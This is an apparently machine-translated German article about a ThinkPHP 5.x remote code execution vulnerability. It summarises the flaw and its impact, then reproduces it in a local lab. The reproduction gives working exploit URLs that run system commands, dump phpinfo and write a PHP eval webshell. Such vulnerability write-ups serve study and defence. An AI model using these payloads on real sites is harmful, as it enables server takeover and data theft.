Heim  >  Artikel  >  PHP-Framework  >  Sicherheitslücke bei thinkphp-Remotebefehlsausführung

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

尚
nach vorne
2020-05-08 09:16:124389Durchsuche

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

Schwachstellenübersicht

ThinkPHP ist ein beliebtes Open-Source-PHP-Framework in China. Kürzlich wurde bekannt, dass es eine mögliche Remote-Codeausführung gibt Schwachstelle: Angreifer können PHP-Code in die Cache-Datei schreiben, was zur Remote-Codeausführung führt.

Obwohl es mehrere Voraussetzungen für die Ausnutzung dieser Sicherheitslücke gibt, hat diese Sicherheitslücke angesichts der großen Anzahl inländischer Websites, die das ThinkPHP-Framework verwenden, immer noch ein gewisses Ausmaß an Auswirkungen. Da das Framework den Controller-Namen nicht ausreichend erkennt, kann es zu einer möglichen Getshell-Schwachstelle kommen, wenn die erzwungene Weiterleitung nicht aktiviert ist.

Gefahren der Sicherheitslücke

Ein Angreifer kann durch diese Sicherheitslücke die Kontrolle über die Website erlangen und die Seite ändern, was zu Datenlecks und anderen Problemen führt.

Betroffene Version

5.x

Reproduktionsumgebung

thinkphp5.1 phpstudy integrierte Umgebung (php5.6n+Apache+MySQL)

Reproduktionsprozess

1. Erster Build wie in der Abbildung gezeigt. Gut Umgebung

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

2. Verwenden Sie die Systemfunktion, um Remote-Befehle auszuführen:

http://localhost/thinkphp5.1/html/public/ index .php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

3. Via phpinfo Die Funktion schreibt die Informationen von phpinfo():

http://localhost/thinkphp5.1/html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0% 5D= phpinfo&vars%5B1%5D%5B%5D=1

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

4. Shell schreiben:

http://localhost / thinkphp5.1/html/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[ % 22code%22])?^%3E%3Eshell.php

Sicherheitslücke bei thinkphp-Remotebefehlsausführung

oder

http://localhost/thinkphp5. 1 /html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

Empfohlenes Tutorial: „TP5

Das obige ist der detaillierte Inhalt vonSicherheitslücke bei thinkphp-Remotebefehlsausführung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:csdn.net. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen